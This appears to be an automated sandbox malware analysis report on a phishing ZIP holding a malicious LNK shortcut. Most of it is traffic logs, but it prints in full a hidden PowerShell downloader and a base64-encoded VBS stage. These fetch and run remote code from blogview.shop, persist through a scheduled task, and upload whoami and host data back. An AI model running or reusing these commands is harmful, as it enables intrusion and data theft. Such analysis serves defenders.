Source: unknown	Network traffic detected: HTTP traffic on port 50059 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49769 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49803 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49826 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49906 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49849 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49900 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49837 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49975 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50060 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49929 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49872 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50025 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49964 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49798 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49861 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49999 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49712 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49918 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49873 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49787 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49930 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50001 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49986 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49850 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49963 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49799
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50007
Source: unknown	Network traffic detected: HTTP traffic on port 50037 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49798
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50006
Source: unknown	Network traffic detected: HTTP traffic on port 50012 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49797
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50009
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49796
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50008
Source: unknown	Network traffic detected: HTTP traffic on port 49952 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49794
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49793
Source: unknown	Network traffic detected: HTTP traffic on port 49814 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49791
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49790
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50001
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50000
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50003
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50002
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50005
Source: unknown	Network traffic detected: HTTP traffic on port 49895 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50004
Source: unknown	Network traffic detected: HTTP traffic on port 49768 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49723 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50048 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49825 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49884 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49907 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49941 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49789
Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49997 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49859 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49871 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49894 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50003 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49965 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49799 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49942 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49977 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49816 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50035 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49919 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49954 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50014 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49788 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49988 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49827 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50046 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49848 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49882 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49756 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49838 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49976 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49953 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49722 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50047 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49908 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50024 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49860 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49883 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49778 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49755 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49998 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49673 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49931 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50058 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49804 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50002 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49987 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49920 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49926 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49949 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50054
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50053
Source: unknown	Network traffic detected: HTTP traffic on port 49789 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49800 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50056
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50055
Source: unknown	Network traffic detected: HTTP traffic on port 49766 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50058
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50057
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50059
Source: unknown	Network traffic detected: HTTP traffic on port 49961 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49984 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50022 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50060
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50062
Source: unknown	Network traffic detected: HTTP traffic on port 50045 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49881 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49675 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49950 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49996 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50010 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49812 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49858 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50056 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49893 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49915 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49823 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49777 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49790 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49869 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49674 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50009 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50034 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49972 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49834 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50057 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49892 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49904 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49847 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49927 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49822 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49870 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49765 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49983 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49938 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50023 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49811 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50018
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50017
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50019
Source: unknown	Network traffic detected: HTTP traffic on port 49813 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49951 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49974 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50032 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50010
Source: unknown	Network traffic detected: HTTP traffic on port 49836 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49916 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50012
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50011
Source: unknown	Network traffic detected: HTTP traffic on port 50055 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50014
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50013
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50016
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50015
Source: unknown	Network traffic detected: HTTP traffic on port 49939 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49776 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49845 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49791 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49868 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49753 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50029
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50028
Source: unknown	Network traffic detected: HTTP traffic on port 49707 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50021
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50020
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50023
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50022
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50025
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50024
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50027
Source: unknown	Network traffic detected: HTTP traffic on port 49780 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49879 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50026
Source: unknown	Network traffic detected: HTTP traffic on port 49985 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50000 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49802 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50021 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50030
Source: unknown	Network traffic detected: HTTP traffic on port 49905 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50039
Source: unknown	Network traffic detected: HTTP traffic on port 49995 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50011 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49928 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50032
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50031
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49857 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50034
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50033
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50036
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50035
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50038

Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.5:49723 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.5:49731 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.60:443 -> 192.168.2.5:49760 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.149.20.212:443 -> 192.168.2.5:49761 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.149.20.212:443 -> 192.168.2.5:50008 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.60:443 -> 192.168.2.5:50030 version: TLS 1.2

System Summary

Malicious sample detected (through community Yara rule)

Source: Process Memory Space: powershell.exe PID: 1436, type: MEMORYSTR

Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen

Downloads suspicious files via Chrome

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

File dump: C:\Users\user\Downloads\748-929-24.zip (copy)

Jump to dropped file

Found suspicious ZIP file

Source: c4304711-3ea8-4580-ab60-ae16aaf251fc.tmp.0.dr

Zip Entry: 748-929-24.html.lnk

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Windows shortcut file (LNK) contains suspicious command line arguments

Source: 748-929-24.html.lnk.4.dr

LNK file: powershell.exe -w hidden -nop -noni -exec bypass -c $w=new-object system.net.webclient;$d=$w.downloadstring('https://blogview.shop/api/values/view/748-929-24.txt'); $dd = [System.Convert]::FromBase64String($d);[System.IO.File]::WriteAllBytes($home+'\appdata\local\temp\748-929-24.html', $dd);&$home\appdata\local\temp\748-929-24.html;$a='ZGltIHIsIGMKc2V0IHIgPSBjcmVhdGVvYmplY3QoIldTY3JpcHQuU2hlbGwiKQpjID0gInBvd2Vyc2hlbGwuZXhlIC1leGVjdXRpb25wb2xpY3kgYnlwYXNzIC13IGhpZGRlbiAtbm9wcm9maWxlIC1jIHN0YXJ0LXNsZWVwIDM5O3N0YXJ0LXNsZWVwIChnZXQtcmFuZG9tIC1taW4gNSAtbWF4IDQzKTtzdGFydC1zbGVlcCAxMTskaWlrPW5ldy1vYmplY3QgbmV0LndlYmNsaWVudDskcmMgPSAtam9pbiAoKDQ4Li41NykgfCBnZXQtcmFuZG9tIC1jb3VudCggZ2V0LXJhbmRvbSAtbWluIDUgLW1heCAxNSkgfCBmb3JlYWNoLW9iamVjdCB7IFtjaGFyXSRffSkgKyAnLnR4dCc7JGZsbT0kaWlrLmRvd25sb2FkZGF0YSgnaHR0cHM6Ly9ibG9ndmlldy5zaG9wL2FwaS92YWx1ZXMvMzgzMDM1MjkxNDM0MzgxOTkxNzEvcmVmcmVzaDE5OS8nKyRyYyk7aWYoJGZsbS5MZW5ndGggLWd0IDEpeyRqa3I9W3N5c3RlbS50ZXh0LmVuY29kaW5nXTo6dXRmOC5nZXRTdHJpbmcoJGZsbSk7aWYoJGprciAtbWF0Y2ggJ2dldC1jb250ZW50Jyl7W2J5dGVbXV0gJGRycHk9SUVYICRqa3I7fWVsc2V7JGJqZG89d2hvYW1pOyRiamRvKz0nPT0nOyRiamRvKz1bU3lzdGVtLk5ldC5EbnNdOjpHZXRIb3N0QWRkcmVzc2VzKCRpcCkrW1N5c3RlbS5FbnZpcm9ubWVudF06Ok5ld0xpbmU7JGhibj1JRVggJGprcjskYmpkbys9JGhibnxPdXQtc3RyaW5nO1tieXRlW11dJGRycHk9W3N5c3RlbS50ZXh0LmVuY29kaW5nXTo6VXRmOC5HZXRCeXRlcygkYmpkbyk7fTtzdGFydC1zbGVlcCAxMDskdWprPW5ldy1vYmplY3QgbmV0LndlYmNsaWVudDtzdGFydC1zbGVlcCAxNjskdWprLnVwbG9hZGRhdGEoJ2h0dHBzOi8vYmxvZ3ZpZXcuc2hvcC9hcGkvdmFsdWVzL3JlZnJlc2gxOTknLCRkcnB5KTt9IgpyLlJ1biBjLCAwLCBmYWxzZQ==';$b=[System.Convert]::FromBase64String($a);$c=[System.Text.Encoding]::utf8.GetString($b);set-content C:\Users\Public\Libraries\Libraries.vbs -value $c;schtasks.exe /create /TN ExplorerCoreUpdateTaskMachine /SC minute /mo 3 /tr C:\Users\Public\Libraries\Libraries.vbs /f;

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" powershell.exe -w hidden -nop -noni -exec bypass -c $w=new-object system.net.webclient;$d=$w.downloadstring('https://blogview.shop/api/values/view/748-929-24.txt'); $dd = [System.Convert]::FromBase64String($d);[System.IO.File]::WriteAllBytes($home+'\appdata\local\temp\748-929-24.html', $dd);&$home\appdata\local\temp\748-929-24.html;$a='ZGltIHIsIGMKc2V0IHIgPSBjcmVhdGVvYmplY3QoIldTY3JpcHQuU2hlbGwiKQpjID0gInBvd2Vyc2hlbGwuZXhlIC1leGVjdXRpb25wb2xpY3kgYnlwYXNzIC13IGhpZGRlbiAtbm9wcm9maWxlIC1jIHN0YXJ0LXNsZWVwIDM5O3N0YXJ0LXNsZWVwIChnZXQtcmFuZG9tIC1taW4gNSAtbWF4IDQzKTtzdGFydC1zbGVlcCAxMTskaWlrPW5ldy1vYmplY3QgbmV0LndlYmNsaWVudDskcmMgPSAtam9pbiAoKDQ4Li41NykgfCBnZXQtcmFuZG9tIC1jb3VudCggZ2V0LXJhbmRvbSAtbWluIDUgLW1heCAxNSkgfCBmb3JlYWNoLW9iamVjdCB7IFtjaGFyXSRffSkgKyAnLnR4dCc7JGZsbT0kaWlrLmRvd25sb2FkZGF0YSgnaHR0cHM6Ly9ibG9ndmlldy5zaG9wL2FwaS92YWx1ZXMvMzgzMDM1MjkxNDM0MzgxOTkxNzEvcmVmcmVzaDE5OS8nKyRyYyk7aWYoJGZsbS5MZW5ndGggLWd0IDEpeyRqa3I9W3N5c3RlbS50ZXh0LmVuY29kaW5nXTo6dXRmOC5nZXRTdHJpbmcoJGZsbSk7aWYoJGprciAtbWF0Y2ggJ2dldC1jb250ZW50Jyl7W2J5dGVbXV0gJGRycHk9SUVYICRqa3I7fWVsc2V7JGJqZG89d2hvYW1pOyRiamRvKz0nPT0nOyRiamRvKz1bU3lzdGVtLk5ldC5EbnNdOjpHZXRIb3N0QWRkcmVzc2VzKCRpcCkrW1N5c3RlbS5FbnZpcm9ubWVudF06Ok5ld0xpbmU7JGhibj1JRVggJGprcjskYmpkbys9JGhibnxPdXQtc3RyaW5nO1tieXRlW11dJGRycHk9W3N5c3RlbS50ZXh0LmVuY29kaW5nXTo6VXRmOC5HZXRCeXRlcygkYmpkbyk7fTtzdGFydC1zbGVlcCAxMDskdWprPW5ldy1vYmplY3QgbmV0LndlYmNsaWVudDtzdGFydC1zbGVlcCAxNjskdWprLnVwbG9hZGRhdGEoJ2h0dHBzOi8vYmxvZ3ZpZXcuc2hvcC9hcGkvdmFsdWVzL3JlZnJlc2gxOTknLCRkcnB5KTt9IgpyLlJ1biBjLCAwLCBmYWxzZQ==';$b=[System.Convert]::FromBase64String($a);$c=[System.Text.Encoding]::utf8.GetString($b);set-content C:\Users\Public\Libraries\Libraries.vbs -value $c;schtasks.exe /create /TN ExplorerCoreUpdateTaskMachine /SC minute /mo 3 /tr C:\Users\Public\Libraries\Libraries.vbs /f;
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -executionpolicy bypass -w hidden -noprofile -c start-sleep 39;start-sleep (get-random -min 5 -max 43);start-sleep 11;$iik=new-object net.webclient;$rc = -join ((48..57) \| get-random -count( get-random -min 5 -max 15) \| foreach-object { [char]$_}) + '.txt';$flm=$iik.downloaddata('https://blogview.shop/api/values/38303529143438199171/refresh199/'+$rc);if($flm.Length -gt 1){$jkr=[system.text.encoding]::utf8.getString($flm);if($jkr -match 'get-content'){[byte[]] $drpy=IEX $jkr;}else{$bjdo=whoami;$bjdo+='==';$bjdo+=[System.Net.Dns]::GetHostAddresses($ip)+[System.Environment]::NewLine;$hbn=IEX $jkr;$bjdo+=$hbn\|Out-string;[byte[]]$drpy=[system.text.encoding]::Utf8.GetBytes($bjdo);};start-sleep 10;$ujk=new-object net.webclient;start-sleep 16;$ujk.uploaddata('https://blogview.shop/api/values/refresh199',$drpy);}
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -executionpolicy bypass -w hidden -noprofile -c start-sleep 39;start-sleep (get-random -min 5 -max 43);start-sleep 11;$iik=new-object net.webclient;$rc = -join ((48..57) \| get-random -count( get-random -min 5 -max 15) \| foreach-object { [char]$_}) + '.txt';$flm=$iik.downloaddata('https://blogview.shop/api/values/38303529143438199171/refresh199/'+$rc);if($flm.Length -gt 1){$jkr=[system.text.encoding]::utf8.getString($flm);if($jkr -match 'get-content'){[byte[]] $drpy=IEX $jkr;}else{$bjdo=whoami;$bjdo+='==';$bjdo+=[System.Net.Dns]::GetHostAddresses($ip)+[System.Environment]::NewLine;$hbn=IEX $jkr;$bjdo+=$hbn\|Out-string;[byte[]]$drpy=[system.text.encoding]::Utf8.GetBytes($bjdo);};start-sleep 10;$ujk=new-object net.webclient;start-sleep 16;$ujk.uploaddata('https://blogview.shop/api/values/refresh199',$drpy);}
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" powershell.exe -w hidden -nop -noni -exec bypass -c $w=new-object system.net.webclient;$d=$w.downloadstring('https://blogview.shop/api/values/view/748-929-24.txt'); $dd = [System.Convert]::FromBase64String($d);[System.IO.File]::WriteAllBytes($home+'\appdata\local\temp\748-929-24.html', $dd);&$home\appdata\local\temp\748-929-24.html;$a='ZGltIHIsIGMKc2V0IHIgPSBjcmVhdGVvYmplY3QoIldTY3JpcHQuU2hlbGwiKQpjID0gInBvd2Vyc2hlbGwuZXhlIC1leGVjdXRpb25wb2xpY3kgYnlwYXNzIC13IGhpZGRlbiAtbm9wcm9maWxlIC1jIHN0YXJ0LXNsZWVwIDM5O3N0YXJ0LXNsZWVwIChnZXQtcmFuZG9tIC1taW4gNSAtbWF4IDQzKTtzdGFydC1zbGVlcCAxMTskaWlrPW5ldy1vYmplY3QgbmV0LndlYmNsaWVudDskcmMgPSAtam9pbiAoKDQ4Li41NykgfCBnZXQtcmFuZG9tIC1jb3VudCggZ2V0LXJhbmRvbSAtbWluIDUgLW1heCAxNSkgfCBmb3JlYWNoLW9iamVjdCB7IFtjaGFyXSRffSkgKyAnLnR4dCc7JGZsbT0kaWlrLmRvd25sb2FkZGF0YSgnaHR0cHM6Ly9ibG9ndmlldy5zaG9wL2FwaS92YWx1ZXMvMzgzMDM1MjkxNDM0MzgxOTkxNzEvcmVmcmVzaDE5OS8nKyRyYyk7aWYoJGZsbS5MZW5ndGggLWd0IDEpeyRqa3I9W3N5c3RlbS50ZXh0LmVuY29kaW5nXTo6dXRmOC5nZXRTdHJpbmcoJGZsbSk7aWYoJGprciAtbWF0Y2ggJ2dldC1jb250ZW50Jyl7W2J5dGVbXV0gJGRycHk9SUVYICRqa3I7fWVsc2V7JGJqZG89d2hvYW1pOyRiamRvKz0nPT0nOyRiamRvKz1bU3lzdGVtLk5ldC5EbnNdOjpHZXRIb3N0QWRkcmVzc2VzKCRpcCkrW1N5c3RlbS5FbnZpcm9ubWVudF06Ok5ld0xpbmU7JGhibj1JRVggJGprcjskYmpkbys9JGhibnxPdXQtc3RyaW5nO1tieXRlW11dJGRycHk9W3N5c3RlbS50ZXh0LmVuY29kaW5nXTo6VXRmOC5HZXRCeXRlcygkYmpkbyk7fTtzdGFydC1zbGVlcCAxMDskdWprPW5ldy1vYmplY3QgbmV0LndlYmNsaWVudDtzdGFydC1zbGVlcCAxNjskdWprLnVwbG9hZGRhdGEoJ2h0dHBzOi8vYmxvZ3ZpZXcuc2hvcC9hcGkvdmFsdWVzL3JlZnJlc2gxOTknLCRkcnB5KTt9IgpyLlJ1biBjLCAwLCBmYWxzZQ==';$b=[System.Convert]::FromBase64String($a);$c=[System.Text.Encoding]::utf8.GetString($b);set-content C:\Users\Public\Libraries\Libraries.vbs -value $c;schtasks.exe /create /TN ExplorerCoreUpdateTaskMachine /SC minute /mo 3 /tr C:\Users\Public\Libraries\Libraries.vbs /f;	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -executionpolicy bypass -w hidden -noprofile -c start-sleep 39;start-sleep (get-random -min 5 -max 43);start-sleep 11;$iik=new-object net.webclient;$rc = -join ((48..57) \| get-random -count( get-random -min 5 -max 15) \| foreach-object { [char]$_}) + '.txt';$flm=$iik.downloaddata('https://blogview.shop/api/values/38303529143438199171/refresh199/'+$rc);if($flm.Length -gt 1){$jkr=[system.text.encoding]::utf8.getString($flm);if($jkr -match 'get-content'){[byte[]] $drpy=IEX $jkr;}else{$bjdo=whoami;$bjdo+='==';$bjdo+=[System.Net.Dns]::GetHostAddresses($ip)+[System.Environment]::NewLine;$hbn=IEX $jkr;$bjdo+=$hbn\|Out-string;[byte[]]$drpy=[system.text.encoding]::Utf8.GetBytes($bjdo);};start-sleep 10;$ujk=new-object net.webclient;start-sleep 16;$ujk.uploaddata('https://blogview.shop/api/values/refresh199',$drpy);}	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -executionpolicy bypass -w hidden -noprofile -c start-sleep 39;start-sleep (get-random -min 5 -max 43);start-sleep 11;$iik=new-object net.webclient;$rc = -join ((48..57) \| get-random -count( get-random -min 5 -max 15) \| foreach-object { [char]$_}) + '.txt';$flm=$iik.downloaddata('https://blogview.shop/api/values/38303529143438199171/refresh199/'+$rc);if($flm.Length -gt 1){$jkr=[system.text.encoding]::utf8.getString($flm);if($jkr -match 'get-content'){[byte[]] $drpy=IEX $jkr;}else{$bjdo=whoami;$bjdo+='==';$bjdo+=[System.Net.Dns]::GetHostAddresses($ip)+[System.Environment]::NewLine;$hbn=IEX $jkr;$bjdo+=$hbn\|Out-string;[byte[]]$drpy=[system.text.encoding]::Utf8.GetBytes($bjdo);};start-sleep 10;$ujk=new-object net.webclient;start-sleep 16;$ujk.uploaddata('https://blogview.shop/api/values/refresh199',$drpy);}

Source: Process Memory Space: powershell.exe PID: 1436, type: MEMORYSTR

Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution

Source: classification engine

Classification label: mal100.spre.phis.troj.expl.evad.winHTML@55/100@14/8

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

File created: C:\Users\user\Downloads\c4304711-3ea8-4580-ab60-ae16aaf251fc.tmp

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4984:120:WilError_03
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2920:120:WilError_03
